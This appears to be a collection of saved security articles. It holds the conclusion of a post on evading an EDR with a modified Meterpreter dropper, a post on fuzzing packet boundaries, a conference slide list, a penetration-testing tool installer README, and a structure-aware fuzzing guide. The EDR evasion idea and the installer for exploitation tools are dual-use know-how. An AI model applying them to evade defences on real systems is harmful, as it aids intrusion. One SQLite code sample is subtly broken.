harmful by the EDR is significantly higher.  
  
But what can we learn from this test? Although I was a little surprised myself
in the case of the EDR tested, I am not interested in pointing the finger at a
product. Much more important to me is the realisation that, from an attacker's
point of view, bypassing an EDR does not always require complex evasion
techniques. A few simple modifications to a self-injection dropper are enough
to bypass even good EDRs. The experiment also showed me that the **shellcode**
of a C2 framework is **not necessarily** a **limitation**. In the case of
Meterpreter, there are probably many signatures used to detect EDRs, but with
a few simple modifications it is still possible to create a usable Meterpreter
dropper.

### References

  * _https://csandker.io/2019/07/24..._
  * _https://www.ired.team/offensiv..._
  * _https://learn.microsoft.com/en..._
  * _https://learn.microsoft.com/en..._
  * _https://en.wikipedia.org/wiki/..._
  * _https://practicalsecurityanaly..._
  * _https://github.com/rapid7/meta..._
  * _https://www.elastic.co/securit..._
  * _https://en.wikipedia.org/wiki/...\(information\_theory\)_
  * _https://www.socinvestigation.c..._

Last updated 03.04.23 08:15:14

Daniel Feichter

Posts about related Topics

  * EDR 
2023-02-14

A story about tampering EDRs

Daniel Feichter

# Security: A new fuzz frontier: packet boundaries

**Created:**| _11/3/2009 10:22:29 PM_  
---|---  
**Updated:**| _11/3/2009 10:22:50 PM_  
**Author:**| __  
**Tags:**| _Fuzzer analysis vulnerability_  
  

### A new fuzz frontier: packet boundaries

Recently, I've been getting pretty behind on executing my various research
ideas. The only sane thing to do is blog the idea in case someone else wants
to run with it and pwn up a bunch of stuff.  
  
The general concept I'd like to see explored is perhaps best explained with a
couple of concrete bugs I have found and fixed recently:  
  

  1. **Dimensions error parsing XBM image**. Welcome to the XBM image format, a veritable dinosaur of image formats. It's a textual format and looks a bit like this:  

[code]    #define test_width 8  
    #define test_height 14  
    static char test_bits[] = {  
    0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,  
    0x00, 0x60 };  
    
[/code]

The WebKit XBM parsing code includes this line, to extract the width and
height:  

[code]            if (sscanf(&input[m_decodeOffset], "#define %*s %i #define
%*s %i%n",  
    &width, &height, &count) != 2)                     
                return false;  
    
[/code]

  
The XBM parser supports streaming \(making render progress before you have the
full data available\), including streaming in the header. i.e. the above code
will attempt to extract width and height from a partial XBM, and retry with
more data if it fails. So what happens if the first network packet contains an
XBM fragment of exactly the first 42 bytes of the above example? This looks
like:  

[code]    #define test_width 8  
    #define test_height 1  
    
[/code]

I think you can see where this is going. The `sscanf()` sees two valid
integers, and XBM decoding proceeds for an 8x1 image, which is incorrect. The
real height, 14, had its ASCII representation fractured across a packet
boundary.  

  2.   

  3. **Out-of-bounds read skipping over HTML comments**. This is best expressed in terms of part of the patch I submitted to fix it:  

[code]    --- WebCore/loader/TextResourceDecoder.cpp (revision 44821)  
    +++ WebCore/loader/TextResourceDecoder.cpp (working copy)  
    @@ -509,11 +509,13 @@ bool TextResourceDecoder::checkForCSSCha  
     static inline void skipComment(const char*& ptr, const char* pEnd)  
     {  
         const char* p = ptr;  
    +    if (p == pEnd)  
    +      return;  
         // Allow <!-->; other browsers do.  
         if (*p == '>') {  
             p++;  
         } else {  
    -        while (p != pEnd) {  
    +        while (p + 2 < pEnd) {  
                 if (*p == '-') {  
                     // This is the real end of comment, "-->".  
                     if (p[1] == '-' && p[2] == '>') {  
    
    
[/code]

  
As can be seen, some simple bounds checking was missing. In order to trigger,
the browser would need to find itself processing an HTML fragment ending in:  

[code]    <!--  
    
    
[/code]

\(Where "ending in" means not necessarily the end of the HTML, but the end of
the HTML that we have received  _so far_\).  

The general principle here? Software seems to have a lot of failure conditions
with partial packets\! This is unsurprising when you think about it; software
is frequently trying to make progress based on partial information -- whether
it's image or HTML parsers trying to show progress to the user, or network
servers trying to extract a useful header or state transition from a short
packet.  
Typical fuzzing may not be able to trigger these conditions. I've certainly
fuzzed image codecs using local files as inputs. This would never exercise
partial packet code paths.  
The best way to shake out these bugs is going to be to fuzz the packet
boundaries at the same time as the packet data. Let me know if you find
anything interesting :\)

# SyScan :: Download Section

**Created:**| _8/6/2013 9:40:02 AM_  
---|---  
**Updated:**| _8/6/2013 11:57:58 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

# **D** ownload Section****

**SyScan2013 Conference Slides\(Will Update SOON\)**  

Speaker | Title | Updated | Download  
---|---|---|---  
**Dave Aitel** | What's at Stake**?** \- Everything Buffy the Vampire Slayer Taught Me about Cyberwar | 03/05/2013 |   
**Halvar Flake** | Checking the Boundaries of Static Analysis | 03/05/2013 |   
**Nguyen Anh Quynh** | OptiCode: Machine Code Deobfuscation for Malware Analysis | 03/05/2013 |   
**Mario Heiderich** | The InnerHTML Apocalypse - How mXSS Attacks change everything we believed we knew so far | 03/05/2013 |   
**Georg Wicherski** | Taming the ROPe on Sandy Bridge | 03/05/2013 |   
**Hubert** | iSniff GPS Virtual Wardriving | 03/05/2013 |   
**Alex Ionescu** | Hotpatching the HotPatcher: Stealth File-less DLL Injection | 03/05/2013 |   
**Mateusz Jurczyk & Gynvael Coldwind** | Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns | 03/05/2013 |   
**Pedro Vilaca** | Revisiting Mac OS Kernel Rootkits | 03/05/2013 |   
**Michele Aubizieri** | Coaching a Squad of Allwinners | 03/05/2013 |   
**Stefan Esser** | Mountain Lion/iOS Vulnerability Garage Sale | 03/05/2013 |   
**Previous Years Conference Slides can be download from here**

****

# trustedsec/ptf

**Created:**| _9/15/2015 12:34:32 PM_  
---|---  
**Updated:**| _9/15/2015 12:34:32 PM_  
**Author:**| __  
**Tags:**| __  
  
  

The PenTesters Framework \(PTF\)

A TrustedSec Project - Copyright 2015

Written by: David Kennedy \(@HackingDave\)

https://www.trustedsec.com

Twitter: @TrustedSec, @HackingDave

The PenTesters Framework \(PTF\) is a Python script designed for
Debian/Ubuntu/ArchLinux based distributions to create a similar and familiar
distribution for Penetration Testing. As pentesters, we've been accustom to
the /pentest/ directories or our own toolsets that we want to keep up-to-date
all of the time. We have those "go to" tools that we use on a regular basis,
and using the latest and greatest is important.

PTF attempts to install all of your penetration testing tools \(latest and
greatest\), compile them, build them, and make it so that you can
install/update your distribution on any machine. Everything is organized in a
fashion that is cohesive to the Penetration Testing Execution Standard
\(PTES\) and eliminates a lot of things that are hardly used. PTF simplifies
installation and packaging and creates an entire pentest framework for you.
Since this is a framework, you can configure and add as you see fit. We
commonly see internally developed repos that you can use as well as part of
this framework. It's all up to you.

The ultimate goal is for community support on this project. We want new tools
added to the github repository. Submit your modules. It's super simple to
configure and add them and only takes a few minute.

# Instructions:

First check out the config/ptf.config file which contains the base location of
where to install everything. By default this will install in the /pentest
directory. Once you have that configured, move to running PTF by typing ./ptf
\(or python ptf\).

This will put you in a Metasploitesque type shell which has a similar look and
feel for consistency. Show modules, use , etc. are all accepted commands.
First things first, always type help or ? to see a full list of commands.

For a video tutorial on how to use PTF, check out our Vimeo page here:
https://vimeo.com/137133837

### Update EVERYTHING\!

If you want to install and/or update everything, simply do the following:

./ptf

use modules/install\_update\_all

run

This will install all of the tools inside of PTF. If they are already
installed, this will iterate through and update everything for you
automatically.

You can also show options to change information about the modules.

# Modules:

First, head over to the modules/ directory, inside of there are sub
directories based on the Penetration Testing Execution Standard \(PTES\)
phases. Go into those phases and look at the different modules. As soon as you
add a new one, for example testing.py, it will automatically be imported next
time you launch PTF. There are a few key components when looking at a module
that must be completed.

Below is a sample module

AUTHOR="David Kennedy \(ReL1K\)"

DESCRIPTION="This module will install/update the Browser Exploitation
Framework \(BeEF\)"

INSTALL\_TYPE="GIT"

REPOSITORY\_LOCATION="https://github.com/beefproject/beef"

X64\_LOCATION="https://github.com/something\_thats\_x64\_instead\_of\_x86

INSTALL\_LOCATION="beef"

DEBIAN="ruby1.9.3,sqlite3,ruby-sqlite3"

ARCHLINUX = "arch-module,etc"

BYPASS\_UPDATE="NO"

AFTER\_COMMANDS="cd \{INSTALL\_LOCATION\},ruby install-beef"

LAUNCHER="beef"

### Module Development:

All of the fields are pretty easy, on the repository locations, you can use
GIT, SVN or FILE. Fill in the depends, and where you want the install location
to be. PTF will take where the python file is located \(for example
exploitation\) and move it to what you specify in the PTF config \(located
under config\). By default it installs all your tools to
/pentest/PTES\_PHASE/TOOL\_FOLDER

Note in modules, you can specify after commands \{INSTALL\_LOCATION\}. This
will append where you want the install location to go when using after
commands.

You also have the ability for repository locations to specify both a 32 bit
and 64 bit location. Repository location should always be the x86 download
path. To add a 64 bit path for a tool, specify X64\_LOCATION and give it a
URL. When PTF launches it will automatically detect the architecture and
attempt to use the x64 link instead of the x86.

Note that ArchLinux packages are also supported, it needs to be specified for
both DEBIAN and ARCH in order for it to be properly installed on either
platform in the module

### BYPASS UPDATES:

When using traditional git or svn as a main method, what will happen after a
module is installed is it will just go and grab the latest version of the
tool. With after commands, normally when installing, you may need to run the
after commands after each time you update. If you specify bypass updates to
YES \(BYPASS\_UPDATE="YES"\), each time the tool is run, it will check out the
latest version and still run after commands. If this is marked to no, it will
only git pull the latest version of the system. For "FILE" options, it is
recommended to always use BYPASS\_UPDATE="YES" so that it will overwrite the
files each time.

### After Commands:

After commands are commands that you can insert after an installation. This
could be switching to a directory and kicking off additional commands to
finish the installation. For example in the BEEF scenario, you need to run
ruby install-beef afterwards. Below is an example of after commands using the
\{INSTALL\_LOCATION\} flag.

AFTER\_COMMANDS="cp config/dict/rockyou.txt \{INSTALL\_LOCATION\}"

For AFTER\_COMMANDS that do self install \(don't need user interaction\).

### Automatic Launchers

The flag LAUNCHER= in modules is optional. If you add LAUNCHER="setoolkit" for
example, PTF will automatically create a launcher for the tool under
/usr/local/bin/. In the setoolkit example, when run - PTF will automatically
create a file under /usr/local/bin/setoolkit so you can launch SET from
anywhere by simply typing setoolkit. All files will still be installed under
the appropriate categories, for example /pentest/exploitation/setoolkit
however an automatic launcher will be created.

You can have multiple launchers for an application - for example Metasploit
you may want msfconsole, msfvenom, etc. etc. In order to add multiple ones,
simply put a "," between them. For example LAUNCHER="msfconsole,msfvenom".
This would create launchers for both.

  

# JSIL - .NET to JavaScript compiler

**Created:**| _10/11/2013 9:36:10 AM_  
---|---  
**Updated:**| _10/11/2013 9:36:10 AM_  
**Author:**| __  
**Tags:**| _compiler-building .Net_  
  

# **.** NET to JavaScript compiler****

JSIL is a compiler that transforms .NET applications and libraries from their
native executable format - CIL bytecode  \- into standards-compliant, cross-
browser JavaScript**.** You can take this JavaScript and run it in a web
browser or any other modern JavaScript runtime**.** Unlike other cross-
compiler tools targeting JavaScript, JSIL produces readable, easy-to-debug
JavaScript that resembles the code a developer might write by hand, while
still maintaining the behavior and structure of the original .NET code**.**
Because JSIL transforms bytecode, it can support most .NET-based languages -
C\# to JavaScript and VB.NET to JavaScript work right out of the box**.**

****

# google/fuzzer-test-suite

**Created:**| _3/2/2019 6:32:17 PM_  
---|---  
**Updated:**| _3/2/2019 6:32:17 PM_  
**Author:**| _wishi_  
**Tags:**| _fuzzing_  
  

  

# Structure-Aware Fuzzing with libFuzzer

Generation-based fuzzers usually target a single input type, generating inputs
according to a pre-defined grammar. Good examples of such fuzzers are csmith
\(generates valid C programs\) and Peach \(generates inputs of any type, but
requires such a type to be expressed as a grammar definition\).

Coverage-guided mutation-based fuzzers, such as libFuzzer or AFL, are not
restricted to a single input type and do not require grammar definitions.
Thus, mutation-based fuzzers are generally easier to set up and use than their
generation-based counterparts. But the lack of an input grammar can also
result in inefficient fuzzing for complicated input types, where any
traditional mutation \(e.g. bit flipping\) leads to an invalid input rejected
by the target API in the early stage of parsing.

With some additional effort, however, libFuzzer can be turned into a grammar-
aware \(i.e. **structure-aware**\) fuzzing engine for a specific input type.

## Example: Compression

Let us start from a simple example that demonstrates most aspects of
structure-aware fuzzing with libFuzzer.

Take a look at this example fuzz target, which consumes Zlib-compressed data,
uncompresses it, and crashes if the first two bytes of the uncompressed input
are 'F' and 'U'.

[code]

    extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
      uint8_t Uncompressed[100];
      size_t UncompressedLen = sizeof(Uncompressed);
      if (Z_OK != uncompress(Uncompressed, &UncompressedLen, Data, Size))
        return 0;
      if (UncompressedLen < 2) return 0;
      if (Uncompressed[0] == 'F' && Uncompressed[1] == 'U')
        abort();  // Boom
      return 0;
    }
[/code]

This is a very simple target, yet traditional universal fuzzers \(including
libFuzzer\) have virtually no chance of discovering the crash. Why? Because
their mutatations will operate on the compressed data, causing virtually all
generated inputs to be invalid for `uncompress`.

This is where **custom mutators** \(a.k.a. libFuzzer plugins\) come into play.
A custom mutator is a user-defined function with a fixed signature that does
the following:

  * Parses the input data according to the specified language grammar \(in our example, it uncompresses the data\). 
    * If parsing fails, it returns a syntactically correct dummy input \(here, it returns a compressed byte sequence `Hi`\).
  * Mutates the parsed representation of the input \(in our case, uncompressed raw data\). The custom mutator _may_ request libFuzzer to mutate some part of the raw data via the function `LLVMFuzzerMutate`.
  * Serializes the mutated representation \(in our case, compresses it\).

[code]

    extern "C" size_t LLVMFuzzerCustomMutator(uint8_t *Data, size_t Size,
                                              size_t MaxSize, unsigned int Seed) {
      uint8_t Uncompressed[100];
      size_t UncompressedLen = sizeof(Uncompressed);
      size_t CompressedLen = MaxSize;
      if (Z_OK != uncompress(Uncompressed, &UncompressedLen, Data, Size)) {
        // The data didn't uncompress. Return a dummy...
      }
      UncompressedLen =
          LLVMFuzzerMutate(Uncompressed, UncompressedLen, sizeof(Uncompressed));
      if (Z_OK != compress(Data, &CompressedLen, Uncompressed, UncompressedLen))
        return 0;
      return CompressedLen;
    }
    
[/code]

Let's run our example. First, let's compile the target without the custom
mutator:

[code]

    % clang -O -g CompressedTest.cpp -fsanitize=fuzzer -lz
    % ./a.out
    ...
    INFO: A corpus is not provided, starting from an empty corpus
    #2      INITED cov: 2 ft: 3 corp: 1/1b lim: 4 exec/s: 0 rss: 25Mb
    #2097152        pulse  cov: 2 ft: 3 corp: 1/1b lim: 4096 exec/s: 1048576 rss: 25Mb
    #4194304        pulse  cov: 2 ft: 3 corp: 1/1b lim: 4096 exec/s: 1048576 rss: 25Mb
    #8388608        pulse  cov: 2 ft: 3 corp: 1/1b lim: 4096 exec/s: 1198372 rss: 26Mb
    #16777216       pulse  cov: 2 ft: 3 corp: 1/1b lim: 4096 exec/s: 1290555 rss: 26Mb
    #33554432       pulse  cov: 2 ft: 3 corp: 1/1b lim: 4096 exec/s: 1342177 rss: 26Mb
    #67108864       pulse  cov: 2 ft: 3 corp: 1/1b lim: 4096 exec/s: 1398101 rss: 26Mb
    ...
[/code]

No luck. The coverage \(`cov: 2`\) doesn't grow because no new instrumented
code in the target is executed. Even if we also instrument Zlib, thus
providing more coverage feedback during fuzzing, libFuzzer is unlikely to
discover the crash.

Now let's run the same target but this time with the custom mutator:

[code]

    % clang -O -g CompressedTest.cpp -fsanitize=fuzzer -lz -DCUSTOM_MUTATOR
    % ./a.out
    ...
    INFO: A corpus is not provided, starting from an empty corpus
    #2      INITED cov: 2 ft: 3 corp: 1/1b lim: 4 exec/s: 0 rss: 25Mb
    #512    pulse  cov: 2 ft: 3 corp: 1/1b lim: 8 exec/s: 256 rss: 26Mb
    #713    NEW    cov: 3 ft: 4 corp: 2/11b lim: 11 exec/s: 237 rss: 26Mb L: 10/10 MS: 1 Custom-
    #740    NEW    cov: 4 ft: 5 corp: 3/20b lim: 11 exec/s: 246 rss: 26Mb L: 9/10 MS: 3 Custom-EraseBytes-Cus
    #1024   pulse  cov: 4 ft: 5 corp: 3/20b lim: 11 exec/s: 341 rss: 26Mb
    #2048   pulse  cov: 4 ft: 5 corp: 3/20b lim: 21 exec/s: 682 rss: 26Mb
    #4096   pulse  cov: 4 ft: 5 corp: 3/20b lim: 43 exec/s: 1365 rss: 26Mb
    #4548   NEW    cov: 5 ft: 6 corp: 4/30b lim: 48 exec/s: 1516 rss: 26Mb L: 10/10 MS: 6 ShuffleBytes-Custom
    #8192   pulse  cov: 5 ft: 6 corp: 4/30b lim: 80 exec/s: 2730 rss: 26Mb
    #16384  pulse  cov: 5 ft: 6 corp: 4/30b lim: 163 exec/s: 5461 rss: 26Mb
    ==157112== ERROR: libFuzzer: deadly signal...
        #7 0x4b024b in LLVMFuzzerTestOneInput CompressedTest.cpp:23:5
[/code]

Here, every input that is received by the target function
\(`LLVMFuzzerTestOneInput`\) is valid compressed data and successfully
uncompresses. With that simple change, libFuzzer's usual mutations become
significantly more effective, and the crash can be found.

## Example: PNG

PNG is a raster graphics file format. A PNG file is a sequence of length-tag-
value-checksum chunks. This data format represents a challenge for non-
specialized mutation-based fuzzing engines for these reasons:

  * Every chunk contains a CRC checksum \(although libpng allows disabling CRC checking with a call to `png_set_crc_action`\).
  * Every chunk has a length, and thus a mutation that increases the size of a chunk also needs to change the stored length.
  * Some chunks contain Zlib-compressed data, and multiple `IDAT` chunks are parts of the same compressed data stream.

Here is an example of a fuzz target for libpng. Non-specialized fuzzers can be
relatively effective for this target when CRC checking is disabled and a
comprehensive seed corpus is provided. But libFuzzer with a custom mutator
\(example\) is even more effective. This example mutator parses the PNG file
into an in-memory data structure, mutates it, and serializes the mutant back
to PNG.

This custom mutator also does an extra twist: it randomly inserts a special
`fUZz` chunk that the fuzz target may later perform additional mutations on to
provide more coverage.

The resulting fuzzer achieves higher coverage starting from an empty corpus
than the same target does without the custom mutator, even with a good seed
corpus and many more iterations\!

## Example: Protocol Buffers

Interface Definition Languages \(IDLs\), such as Protocol Buffers \(a.k.a.
protobufs\), Mojo, FIDL, or Thrift are all good examples of highly structured
input types that are hard to fuzz with generic mutation-based fuzzers.

Structure-aware fuzzing for IDLs is possible with libFuzzer using custom
mutators. One such mutator is implemented for protobufs: libprotobuf-mutator
\(a.k.a. LPM\).

Let's look at the example proto definition and the corresponding fuzz target.

[code]

    message Msg {
      optional float optional_float = 1;
      optional uint64 optional_uint64 = 2;
      optional string optional_string = 3;
    }
[/code]

[code]

    DEFINE_PROTO_FUZZER(const libfuzzer_example::Msg& message) {
      // Emulate a bug.
      if (message.optional_string() == "FooBar" &&
          message.optional_uint64() > 100 &&
          !std::isnan(message.optional_float()) &&
          std::fabs(message.optional_float()) > 1000 &&
          std::fabs(message.optional_float()) < 1E10) {
        abort();
      }
    }
    
[/code]

Here the crash will happen if the 3 fields of the message have specific
values.

Note that LPM provides a convenience macro `DEFINE_PROTO_FUZZER` to define a
fuzz target that directly consumes a protobuf message.

Here are some real life examples of fuzzing protobuf-based APIs with libFuzzer
and LPM:

  * config\_fuzz\_test fuzzes the Envoy configuration API.
  * TODO

## Protocol Buffers As Intermediate Format

Protobufs provide a convenient way to serialize structured data, and LPM
provides an easy way to mutate protobufs for structure-aware fuzzing. Thus, it
is tempting to use libFuzzer+LPM for APIs that consume structured data other
than protobufs.

When fuzzing a data format `Foo` with LPM, these steps need to be made:

  * Describe `Foo` as a protobuf message, say `FooProto`. Precise mapping from Foo to protobufs may not be possible, so `FooProto` may describe a subset of a superset of `Foo`.
  * Implement a `FooProto` => `Foo` converter.
  * Optionally implement a `Foo => FooProto` converter. This is more important if there's already an extensive corpus of `Foo` inputs you'd like to use.

Below we discuss several real-life examples of this approach.

### Example: SQLite

In Chromium, the SQLite database library backs many features, including
WebSQL, which exposes SQLite to arbitrary websites and makes SQLite an
interesting target for malicious websites. Because SQLite of course uses the
highly structured, text-based SQL language, it is a good candidate for
structure-aware fuzzing. Furthermore, it has a very good description of the
language it consumes.

The first step is to convert this grammar into the protobuf format, which can
be seen in the Chromium source tree. As a quick, simplified example, if we
only wanted to fuzz the `CREATE TABLE` sql statement, we could make a protobuf
grammar as such:

[code]

    message SQLQueries {
        repeated CreateTable queries = 1;
    }
    
    message CreateTable {
        optional TempModifier temp_table = 1;
        required Table table = 2;
        required ColumnDef col_def = 3;
        repeated ColumnDef extra_col_defs = 4;
        repeated TableConstraint table_constraints = 5;
        required bool without_rowid = 6;
    }
    
    // Further definitions of TempModifier, Table, ColumnDef, and TableConstraint.
[/code]

Then, we write the C++ required to convert the structured protobufs into
actual textual SQL queries \(the full version can be seen in the Chromium
source tree\):

[code]

    // Converters for TempModifier, Table, ColumnDef, and TableConstraint go here.
    
    std::string CreateTableToString(const CreateTable& ct) {
        std::string ret("CREATE TABLE ");
        if (ct.has_temp_table()) {
            ret += TempModifierToString(ct.temp_table());
            ret += " ";
        }
        ret += TableToString(ct.table());
        ret += "(";
        ret += ColumnDefToString(ct.col_def());
        for (int i = 0; i < ct.extra_col_defs_size(); i++) {
            ret += ", ";
            ret += ColumnDefToString(ct.extra_col_defs(i));
        }
        for (int i = 0; i < ct.table_constraints_size(); i++) {
            ret += ", ";
            ret += TableConstraintToString(ct.table_constraints(i));
        }
        ret += ") ";
        if (ct.without_rowid())
            ret += "WITHOUT ROWID ";
        return ret;
    }
    
    std::string SQLQueriesToString(const SQLQueries& queries) {
        std::string queries;
        for (int i = 0; i < queries.queries_size(); i++) {
            queries += CreateTableToString(queries.queries(i));
            queries += ";\n";
        }
        return queries;
    }
[/code]

And finally, we write our fuzz target:

[code]

    DEFINE_BINARY_PROTO_FUZZER(const SQLQueries& sql_queries) {
        std::string queries = SQLQueriesToString(sql_queries);
        sql_fuzzer::RunSQLQueries(SQLQueriesToString(queries)); // Helper that passes our queries to sqlite library to execute
    }
[/code]

With luck, libFuzzer and LPM will be able to create many interesting `CREATE
TABLE` statements, with varying numbers of columns, table constraints, and
other attributes. This basic definition of `SQLQueries` can be expanded to
work with other SQL statements like `INSERT` or `SELECT`, and with care we can
cause these other statements to insert or select from the tables created by
the random `CREATE TABLE` statements. Without defining this protobuf
structure, it's very difficult for a fuzzer to be able to generate valid
`CREATE TABLE` statements that actually create tables without causing parsing
errors— especially tables with valid table constraints.

## Fuzzing Stateful APIs

So far we have discussed fuzzing for APIs that consume a single structured
input. Some APIs could be very different. An API may not consume data directly
at all, and it could consist of many functions that work only when the API is
in a certain state. Such **stateful APIs** are common for e.g. networking
software. Fuzzing with protobufs could be useful here as well. All you need is
to define a protobuf message describing a sequence of API calls \(or a
_trace_\) and implement a function to _play_ the trace.

### Example: gRPC API Fuzzer

The gRPC's API Fuzzer is actually not using libFuzzer's custom mutator or
protobufs. But it's still a good and simple example of fuzzing a stateful API.
The fuzzer consumes an array of bytes and every individual byte is interpreted
as a single call to a specific API function \(in some cases, following bytes
are used as parameters\).

[code]

        switch (grpc_fuzzer_get_next_byte(&inp)) {
          default:
          // terminate on bad bytes
          case 0: {
            grpc_event ev = grpc_completion_queue_next(...
          case 1: {
            g_now = gpr_time_add(...
[/code]

This fuzz target is compatible with any mutation-based fuzzing engine and has
resulted in over 80 bug reports, some discovered with libFuzzer and some with
AFL.

However, a drawback of this approach is that the inputs created by the fuzzer
are meaningless outside of the fuzz target itself and will stop working with a
slight change in the target. They are also not human readable, which makes
analysis of bugs generated by this fuzz target more complicated.

### Example: Envoy Header Map Fuzzer

One of Envoy's fuzz targets uses a different approach to fuzzing stateful
APIs: it encodes a sequence of actions \(a _trace_\) using a custom protobuf
message type, and implements a player for this type.

[code]

    DEFINE_PROTO_FUZZER(const test::common::http::HeaderMapImplFuzzTestCase& input) { ...
      for (int i = 0; i < input.actions().size(); ++i) { ...
        const auto& action = input.actions(i);           ...
        switch (action.action_selector_case()) {         ...
[/code]

This particular fuzz target has discovered at least one security regression:
bug, fix. The reproducer input for this bug is a human-readable file with the
message text.

Using protos for fuzzing stateful APIs might be a bit slower and a bit more
complicated than fuzzing action traces encoded as a sequence of bytes \(as
described above\). But this approach is more flexible and maintainable since
the protobuf type is easier to understand and extend than a custom byte
encoding.

### Example: Chrome IPC Fuzzer

Chrome contains many stateful APIs that are very hard for humans to reason
about during code review, which makes fuzzing those APIs powerful and highly
productive. One such example is the AppCache subsystem. This is an old attempt
at a richer caching mechanism for HTTP that aims to make some applications
available offline.

In Chrome, this is implemented in an interface between the sandboxed renderer
process and the privileged browser process, which runs unsandboxed. The API
available to the renderer process is the following:

[code]

    // AppCache messages sent from the child process to the browser.
    interface AppCacheBackend {
      RegisterHost(int32 host_id);
      UnregisterHost(int32 host_id);
      SetSpawningHostId(int32 host_id, int32 spawning_host_id);
      SelectCache(int32 host_id,
                  url.mojom.Url document_url,
                  int64 appcache_document_was_loaded_from,
                  url.mojom.Url opt_manifest_url);
      SelectCacheForSharedWorker(int32 host_id, int64 appcache_id);
      MarkAsForeignEntry(int32 host_id,
                         url.mojom.Url document_url,
                         int64 appcache_document_was_loaded_from);
      [Sync] GetStatus(int32 host_id) => (AppCacheStatus status);
      [Sync] StartUpdate(int32 host_id) => (bool success);
      [Sync] SwapCache(int32 host_id) => (bool success);
      [Sync] GetResourceList(int32 host_id) => (array<AppCacheResourceInfo> resources);
    };
[/code]

A single AppCacheBackend is a stateful object that runs in the browser process
and is responsible for handling all of these messages. As part of its normal
operation, it's also possible for the backend to make HTTP requests. The
content of the responses to those requests actually affects control flow.
Because they are external, they are also part of the attack surface.

With this background, we can write a protobuf specification that lets us
perform a sequence of API calls to the backend and also handle any requests it
makes. The Chrome code facilitates this testing by letting us override the
source of network data to our local fuzzed inputs.

Here is a snippet from our fuzzer protobuf specification:

[code]

    message Session {
      repeated Command commands = 1;
    }
    
    // Based on blink::mojom::AppCacheBackend interface
    // See third_party/blink/public/mojom/appcache/appcache.mojom
    message Command {
      oneof command {
        RegisterHost register_host = 1;
        UnregisterHost unregister_host = 2;
        SelectCache select_cache = 3;
        SetSpawningHostId set_spawning_host_id = 4;
        SelectCacheForSharedWorker select_cache_for_shared_worker = 5;
        MarkAsForeignEntry mark_as_foreign_entry = 6;
        GetStatus get_status = 7;
        StartUpdate start_update = 8;
        SwapCache swap_cache = 9;
        GetResourceList get_resource_list = 10;
        DoRequest do_request = 11;
        RunUntilIdle run_until_idle = 12;
      }
    }
    
    // We only need a few hosts to encapsulate all the logic
    enum HostId {
      HOST_N2 = -2;
      HOST_N1 = -1;
      HOST_0 = 0;
      HOST_1 = 1;
      HOST_2 = 2;
    }
    
    message RegisterHost {
      required HostId host_id = 1;
    }
[/code]

We set up our protobuf to fuzz a sequence of "commands", which represent API
calls. Note that while the RegisterHost API takes a uint32\_t as the input, we
only provide a few possible values that trigger interesting control flow in
the actual implementation \(namely the normal case and small negative numbers,
which represent "preallocated" hosts\).

Now let's look at how to handle HTTP requests:

[code]

    enum HttpCode {
      RESPONSE_100 = 100;
      RESPONSE_200 = 200;
      RESPONSE_206 = 206;
      RESPONSE_301 = 301;
      RESPONSE_302 = 302;
      RESPONSE_303 = 303;
      RESPONSE_304 = 304;
      RESPONSE_307 = 307;
      RESPONSE_308 = 308;
      RESPONSE_401 = 401;
      RESPONSE_403 = 403;
      RESPONSE_404 = 404;
      RESPONSE_500 = 500;
      RESPONSE_501 = 501;
    }
    
    message ManifestResponse {
      repeated Url urls = 1;
    }
    
    // Make sure to test logic when fetching more than the max concurrent allowed.
    enum UrlTestCaseIndex {
      EMPTY = 0;
      PATH_1 = 1;
      PATH_2 = 2;
      PATH_3 = 3;
      PATH_4 = 4;
      PATH_5 = 5;
    }
    
    message Url {
      required UrlTestCaseIndex url_test_case_idx = 1;
    }
    
    message DoRequest {
      required HttpCode http_code = 1;
      required bool do_not_cache = 2;
      required ManifestResponse manifest_response = 3;
      required Url url = 4;
    }
[/code]

To design the `DoRequest` message required reviewing the AppCache code
manually. The features that affect control flow in the AppCache backend are
the HTTP codes, headers indicating whether or not to cache the response, the
manifest content for manifest requests, and the requested URL. We store the
URL as part of the message to handle two possible situations: either we
precache a response to be ready immediately as soon as the request comes in,
or we respond to a pending request. The second case was needed for a Chrome
sandbox escape bug, which is why we model it here.

The C++ looks like this. Note that it uses the Session message as the
fundamental fuzzed message type:

[code]

    DEFINE_BINARY_PROTO_FUZZER(const fuzzing::proto::Session& session) {
      network::TestURLLoaderFactory mock_url_loader_factory;
      SingletonEnv().InitializeAppCacheService(&mock_url_loader_factory);
    
      // Create a context for mojo::ReportBadMessage.
      mojo::Message message;
      auto dispatch_context =
            std::make_unique<mojo::internal::MessageDispatchContext>(&message);
    
      blink::mojom::AppCacheBackendPtr host;
      AppCacheDispatcherHost::Create(SingletonEnv().appcache_service.get(),
                                     /*process_id=*/1, mojo::MakeRequest(&host));
    
      for (const fuzzing::proto::Command& command : session.commands()) {
        switch (command.command_case()) {
          case fuzzing::proto::Command::kRegisterHost: {
            int32_t host_id = command.register_host().host_id();
            host->RegisterHost(host_id);
            break;
          }
      // ...
          case fuzzing::proto::Command::kDoRequest: {
            uint32_t code = command.do_request().http_code();
            bool do_not_cache = command.do_request().do_not_cache();
            const fuzzing::proto::ManifestResponse& manifest_response =
                command.do_request().manifest_response();
            DoRequest(&mock_url_loader_factory, command.do_request().url(), code,
                      do_not_cache, manifest_response);
            break;
          }
[/code]

We simply set up a single instance of the AppCache backend and communicate
with it and the mocked URL loader factory that we supplied when we set it up.
We implement `DoRequest` as a helper function to handle precaching or
responding to any pending requests.

You can view the full source of the protobuf component here and the full
source of the C++ component here.

More details:

  * Attacking Chrome IPC: Reliably finding bugs to escape the Chrome sandbox

## Conclusions

Structure-aware fuzzing is one of the "next big things" in program state
exploration and vulnerability discovery. Probably as big as coverage-guided
fuzzing has been since the early 2000s. Admittedly, structure-aware fuzzing,
at least as described in this document, requires substantial manual work for
every input type. Finding ways to automate structure-aware fuzzing further is
becoming a hot research topic.

## Related Links

  * libprotobuf-mutator \- Mutator for protobufs.
  * Getting Started with libprotobuf-mutator in Chromium.
  * Adventures in Fuzzing Instruction Selection: using libFuzzer with a custom mutator for LLVM IR to find bugs in LLVM optimization passes.
  * Structure-aware fuzzing for Clang and LLVM with libprotobuf-mutator.
